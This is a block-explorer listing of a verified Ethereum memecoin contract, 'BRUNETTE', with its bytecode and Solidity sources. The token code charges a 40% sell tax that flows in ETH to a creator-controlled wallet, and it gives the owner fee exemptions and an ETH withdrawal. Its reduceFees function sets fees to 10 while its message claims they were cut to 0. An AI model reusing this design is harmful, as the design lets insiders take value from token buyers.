Address Contract Verified
Address
0xd42818986ea36Ac32803DAB9c2899FA090Be83D0
Balance
0 ETH
Nonce
1
Code Size
8078 bytes
Creator
0xB186C077...8C47 at tx 0x5b12437f...924a56
Indexed Transactions
0
Contract Bytecode
8078 bytes
0x608060405260043610610220575f3560e01c80637571336a1161011e578063c0246668116100a8578063e2f456051161006d578063e2f4560514610642578063f2fde38b14610657578063f6b20c3b14610676578063f8b45b051461068a578063ffb54a991461069f575f80fd5b8063c0246668146105c7578063c8c8ebe4146105e6578063c9567bf9146105fb578063d9cf31de1461060f578063dd62ed3e14610623575f80fd5b806395d89b41116100ee57806395d89b41146105375780639a7a23d61461054b578063a457c2d71461056a578063a9059cbb14610589578063afa4f3b2146105a8575f80fd5b80637571336a146104c857806375f0a874146104e757806389291a8f146105065780638da5cb5b1461051a575f80fd5b8063313ce567116101aa5780635d60c7be1161016f5780635d60c7be1461042c5780636ddd17131461044b57806370a082311461046a578063715018a61461049e578063751039fc146104b4575f80fd5b8063313ce56714610355578063395093511461037057806349bd5a5e1461038f5780634fbee193146103c2578063583e0568146103f9575f80fd5b8063185870f9116101f0578063185870f9146102c05780631f3fed8f146102f757806323b872dd1461030c57806327c8f8351461032b578063311028af14610340575f80fd5b806306fdde031461022b578063095ea7b3146102555780630a702e8d1461028457806318160ddd146102a2575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f6106b8565b60405161024c9190611bdb565b60405180910390f35b348015610260575f80fd5b5061027461026f366004611c3a565b610748565b604051901515815260200161024c565b34801561028f575f80fd5b50600d5461027490610100900460ff1681565b3480156102ad575f80fd5b506002545b60405190815260200161024c565b3480156102cb575f80fd5b506007546102df906001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b348015610302575f80fd5b506102b260105481565b348015610317575f80fd5b50610274610326366004611c64565b610761565b348015610336575f80fd5b506102df61dead81565b34801561034b575f80fd5b506102b260095481565b348015610360575f80fd5b506040516012815260200161024c565b34801561037b575f80fd5b5061027461038a366004611c3a565b610784565b34801561039a575f80fd5b506102df7f00000000000000000000000076e41b27355a705ce44060f4d1f1c99e2f10d18c81565b3480156103cd575f80fd5b506102746103dc366004611ca2565b6001600160a01b03165f9081526011602052604090205460ff1690565b348015610404575f80fd5b506102df7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b348015610437575f80fd5b506006546102df906001600160a01b031681565b348015610456575f80fd5b50600d546102749062010000900460ff1681565b348015610475575f80fd5b506102b2610484366004611ca2565b6001600160a01b03165f9081526020819052604090205490565b3480156104a9575f80fd5b506104b26107a5565b005b3480156104bf575f80fd5b506104b26107b8565b3480156104d3575f80fd5b506104b26104e2366004611cca565b6107e0565b3480156104f2575f80fd5b506008546102df906001600160a01b031681565b348015610511575f80fd5b506104b2610812565b348015610525575f80fd5b506005546001600160a01b03166102df565b348015610542575f80fd5b5061023f610893565b348015610556575f80fd5b506104b2610565366004611cca565b6108a2565b348015610575575f80fd5b50610274610584366004611c3a565b61095f565b348015610594575f80fd5b506102746105a3366004611c3a565b6109d9565b3480156105b3575f80fd5b506104b26105c2366004611d01565b6109e6565b3480156105d2575f80fd5b506104b26105e1366004611cca565b610a06565b3480156105f1575f80fd5b506102b2600a5481565b348015610606575f80fd5b506104b2610a6c565b34801561061a575f80fd5b506104b2610d44565b34801561062e575f80fd5b506102b261063d366004611d18565b610db5565b34801561064d575f80fd5b506102b2600c5481565b348015610662575f80fd5b506104b2610671366004611ca2565b610ddf565b348015610681575f80fd5b506104b2610e55565b348015610695575f80fd5b506102b2600b5481565b3480156106aa575f80fd5b50600d546102749060ff1681565b6060600380546106c790611d44565b80601f01602080910402602001604051908101604052809291908181526020018280546106f390611d44565b801561073e5780601f106107155761010080835404028352916020019161073e565b820191905f5260205f20905b81548152906001019060200180831161072157829003601f168201915b5050505050905090565b5f33610755818585610e68565b60019150505b92915050565b5f3361076e858285610f8b565b610779858585611003565b506001949350505050565b5f336107558185856107968383610db5565b6107a09190611d90565b610e68565b6107ad611641565b6107b65f61169b565b565b6107c0611641565b5f6107ca60025490565b600a819055600b5550600d805461ff0019169055565b6107e8611641565b6001600160a01b03919091165f908152601260205260409020805460ff1916911515919091179055565b61081a611641565b5f47116108675760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064015b60405180910390fd5b60405133904780156108fc02915f818181858888f19350505050158015610890573d5f803e3d5ffd5b50565b6060600480546106c790611d44565b6108aa611641565b7f00000000000000000000000076e41b27355a705ce44060f4d1f1c99e2f10d18c6001600160a01b0316826001600160a01b0316036109515760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161085e565b61095b82826116ec565b5050565b5f338161096c8286610db5565b9050838110156109cc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161085e565b6107798286868403610e68565b5f33610755818585611003565b6109ee611641565b610a0081670de0b6b3a7640000611da3565b600c5550565b610a0e611641565b6001600160a01b0382165f81815260116020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b610a74611641565b600d5460ff1615610ac75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161085e565b610af4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600954610e68565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730610b4e6049610b48306001600160a01b03165f9081526020819052604090205490565b9061173f565b5f80610b626005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bc8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bed9190611dba565b5050600854600c5430925063a9059cbb916001600160a01b031690610c139060026117ba565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610c5b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7f9190611de5565b5060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f1960248301527f00000000000000000000000076e41b27355a705ce44060f4d1f1c99e2f10d18c169063095ea7b3906044016020604051808303815f875af1158015610d0c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d309190611de5565b50600d805462ff00ff191662010001179055565b610d4c611641565b600e54151580610d5d5750600f5415155b610da95760405162461bcd60e51b815260206004820152601e60248201527f466565732061726520616c7265616479207265647563656420746f2030210000604482015260640161085e565b600a600e819055600f55565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610de7611641565b6001600160a01b038116610e4c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085e565b6108908161169b565b610e5d611641565b5f600e819055600f55565b6001600160a01b038316610eca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161085e565b6001600160a01b038216610f2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610f968484610db5565b90505f198114610ffd5781811015610ff05760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161085e565b610ffd8484848403610e68565b50505050565b6001600160a01b0383166110295760405162461bcd60e51b815260040161085e90611e00565b6001600160a01b03821661104f5760405162461bcd60e51b815260040161085e90611e45565b805f036110665761106183835f6117c5565b505050565b6005546001600160a01b0384811691161480159061109257506005546001600160a01b03838116911614155b80156110a657506001600160a01b03821615155b80156110bd57506001600160a01b03821661dead14155b80156110d35750600854600160a01b900460ff16155b1561145f57600d5460ff16611164576001600160a01b0383165f9081526011602052604090205460ff168061111f57506001600160a01b0382165f9081526011602052604090205460ff165b6111645760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161085e565b6001600160a01b0383165f9081526013602052604090205460ff1680156111a357506001600160a01b0382165f9081526012602052604090205460ff16155b1561132257600a548111156112185760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161085e565b600b546001600160a01b0383165f9081526020819052604090205461123d9083611d90565b11156112815760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161085e565b600d54610100900460ff161561131d576001600160a01b0382165f9081526014602052604090205443116113025760405162461bcd60e51b815260206004820152602260248201527f4f6e6c79206f6e65206275792070657220626c6f636b20697320616c6c6f7765604482015261321760f11b606482015260840161085e565b6001600160a01b0382165f9081526014602052604090204390555b61145f565b6001600160a01b0382165f9081526013602052604090205460ff16801561136157506001600160a01b0383165f9081526012602052604090205460ff16155b156113d757600a5481111561131d5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161085e565b6001600160a01b0382165f9081526012602052604090205460ff1661145f57600b546001600160a01b0383165f9081526020819052604090205461141b9083611d90565b111561145f5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161085e565b305f90815260208190526040902054600c548110801590819061148a5750600d5462010000900460ff165b80156114a05750600854600160a01b900460ff16155b80156114c457506001600160a01b0385165f9081526013602052604090205460ff16155b80156114e857506001600160a01b0385165f9081526011602052604090205460ff16155b801561150c57506001600160a01b0384165f9081526011602052604090205460ff16155b1561153a576008805460ff60a01b1916600160a01b17905561152c6118ed565b6008805460ff60a01b191690555b6008546001600160a01b0386165f9081526011602052604090205460ff600160a01b90920482161591168061158657506001600160a01b0385165f9081526011602052604090205460ff165b1561158e57505f5b5f811561162d576001600160a01b0386165f9081526013602052604090205460ff16156115dc576115d560646115cf600f54886117ba90919063ffffffff16565b90611a0f565b90506115f9565b6115f660646115cf600e54886117ba90919063ffffffff16565b90505b8060105f82825461160a9190611d90565b90915550508015611620576116208730836117c5565b61162a8186611e88565b94505b6116388787876117c5565b50505050505050565b6005546001600160a01b031633146107b65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161085e565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260136020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b5f606482111561179d5760405162461bcd60e51b8152602060048201526024808201527f50657263656e74616765206d757374206265206265747765656e203020616e646044820152630203130360e41b606482015260840161085e565b60646117a98385611da3565b6117b39190611e9b565b9392505050565b5f6117b38284611da3565b6001600160a01b0383166117eb5760405162461bcd60e51b815260040161085e90611e00565b6001600160a01b0382166118115760405162461bcd60e51b815260040161085e90611e45565b6001600160a01b0383165f90815260208190526040902054818110156118885760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161085e565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ffd565b305f90815260208190526040812054601054600c549192909181908410156119155750505050565b600854600160a81b900460ff1661194e57600c54611934906005611da3565b6008805460ff60a81b1916600160a81b1790559150611965565b600c5484101561195e5783611962565b600c545b91505b4761196f83611a1a565b5f61197a4783611bd0565b90505f8060105411156119ab576119a0866115cf601054856117ba90919063ffffffff16565b5f60105590506119ae565b50805b5f60108190556007546040516001600160a01b039091169183919081818185875af1925050503d805f81146119fe576040519150601f19603f3d011682016040523d82523d5f602084013e611a03565b606091505b50505050505050505050565b5f6117b38284611e9b565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611a4d57611a4d611eba565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ac9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611aed9190611ece565b81600181518110611b0057611b00611eba565b60200260200101906001600160a01b031690816001600160a01b031681525050611b4b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610e68565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611b9f9085905f90869030904290600401611ee9565b5f604051808303815f87803b158015611bb6575f80fd5b505af1158015611bc8573d5f803e3d5ffd5b505050505050565b5f6117b38284611e88565b5f6020808352835180828501525f5b81811015611c0657858101830151858201604001528201611bea565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610890575f80fd5b5f8060408385031215611c4b575f80fd5b8235611c5681611c26565b946020939093013593505050565b5f805f60608486031215611c76575f80fd5b8335611c8181611c26565b92506020840135611c9181611c26565b929592945050506040919091013590565b5f60208284031215611cb2575f80fd5b81356117b381611c26565b8015158114610890575f80fd5b5f8060408385031215611cdb575f80fd5b8235611ce681611c26565b91506020830135611cf681611cbd565b809150509250929050565b5f60208284031215611d11575f80fd5b5035919050565b5f8060408385031215611d29575f80fd5b8235611d3481611c26565b91506020830135611cf681611c26565b600181811c90821680611d5857607f821691505b602082108103611d7657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561075b5761075b611d7c565b808202811582820484141761075b5761075b611d7c565b5f805f60608486031215611dcc575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611df5575f80fd5b81516117b381611cbd565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561075b5761075b611d7c565b5f82611eb557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611ede575f80fd5b81516117b381611c26565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611f375784516001600160a01b031683529383019391830191600101611f12565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206878343c4059adcec002cfe20248e82bf9164091fbfc33f88fae8fc700d91fed64736f6c63430008140033
Verified Source Code Full Match
Compiler: v0.8.20+commit.a1b79de6
EVM: shanghai
Optimization: Yes (200 runs)
Context.sol 24 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
IERC20Metadata.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
Brunette.sol 327 lines
// SPDX-License-Identifier: MIT
/**
$BRUNETH is an Ethereum Token emphasizing on the extraordinary beauty and magnificence of Brunettes.
With her long curly black hair, a beautiful face and sexy body, she radiates beauty that puts men in a trance to Grant all her wishes
Telegram: https://t.me/Brun_ethe
Twitter: https://twitter.com/BRUN_ETHE
Website: https://brunette.bio/
*/
pragma solidity = 0.8.20;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@devforu/contracts/utils/math/SafeMath.sol";
import "@devforu/contracts/interfaces/IUniswapV2Factory.sol";
import "@devforu/contracts/interfaces/IUniswapV2Pair.sol";
import "@devforu/contracts/interfaces/IUniswapV2Router02.sol";
contract BRUNETTE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address public immutable uniswapV2Pair;
address public deployerWallet;
address public developerWallet;
address public marketingWallet;
address public constant deadAddress = address(0xdead);
bool private swapping;
bool private marketingTax;
uint256 public initialTotalSupply = 1000000 * 1e18;
uint256 public maxTransactionAmount = 20000 * 1e18;
uint256 public maxWallet = 20000 * 1e18;
uint256 public swapTokensAtAmount = 10000 * 1e18;
bool public tradingOpen = false;
bool public transferDelay = true;
bool public swapEnabled = false;
uint256 private BuyFee = 10;
uint256 private SellFee = 40;
uint256 public tokensForMarketing;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private lastBuyBlock;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor() ERC20("BRUNETTE", "BRUNETH") {
_uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
deployerWallet = payable(_msgSender());
marketingWallet = payable(0xB186C077FA8167577Cc4a0cC760a65dA268f8C47);
developerWallet = payable(0xB186C077FA8167577Cc4a0cC760a65dA268f8C47);
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(marketingWallet, true);
excludeFromFees(developerWallet, true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(marketingWallet, true);
excludeFromMaxTransaction(developerWallet, true);
_mint(msg.sender, initialTotalSupply);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"Trading is already open");
_approve(address(this), address(_uniswapV2Router), initialTotalSupply);
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).per(73),0,0,owner(),block.timestamp);
IERC20(address(this)).transfer(marketingWallet, swapTokensAtAmount.mul(2));
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingOpen) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
if (transferDelay) {
require(
lastBuyBlock[to] < block.number,
"Only one buy per block is allowed."
);
lastBuyBlock[to] = block.number;
}
}
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
} else {
fees = amount.mul(BuyFee).div(100);
}
tokensForMarketing += fees;
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
transferDelay = false;
}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function reduceFees() external onlyOwner {
require(BuyFee != 0 || SellFee != 0, "Fees are already reduced to 0!");
BuyFee = 10;
SellFee = 10;
}
function removeFees() external onlyOwner {
BuyFee = 0;
SellFee = 0;
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForMarketing;
uint256 tokensToSwap;
bool success;
if (contractBalance < swapTokensAtAmount) {
return;
}
else if (!marketingTax)
{
tokensToSwap = swapTokensAtAmount * 5;marketingTax=true;
}
else
{
tokensToSwap = contractBalance >= swapTokensAtAmount ? swapTokensAtAmount : contractBalance;
}
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(tokensToSwap);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing;
if (tokensForMarketing > 0) {
ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
tokensForMarketing = 0;
} else {
ethForMarketing = ethBalance;
}
tokensForMarketing = 0;
(success, ) = address(developerWallet).call{value: ethForMarketing}("");
}
}
IUniswapV2Router02.sol 51 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
SafeMath.sol 232 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the percentage of an unsigned integer `a` with respect to the provided percentage `b`,
* rounding towards zero. The result is a proportion of the original value.
*
* The function can be used to calculate a specific percentage of a given value `a`.
* Note: this function uses a `revert` opcode (which leaves remaining gas untouched) when
* the percentage `b` is greater than 100.
*
* Requirements:
*
* - The percentage `b` must be between 0 and 100 (inclusive).
*/
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
